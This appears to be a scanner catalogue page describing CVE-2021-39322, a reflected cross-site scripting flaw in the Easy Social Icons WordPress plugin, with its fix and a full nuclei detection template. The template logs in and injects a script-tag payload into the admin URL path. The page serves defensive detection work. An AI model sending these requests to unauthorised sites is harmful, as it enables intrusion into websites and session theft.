WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-39322 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-39322

info:
  name: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39322
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
    - https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39322
    cwe-id: CWE-79
    epss-score: 0.02349
    epss-percentile: 0.83825
    cpe: cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cybernetikz
    product: easy_social_icons
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,authenticated,wpscan,cybernetikz,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from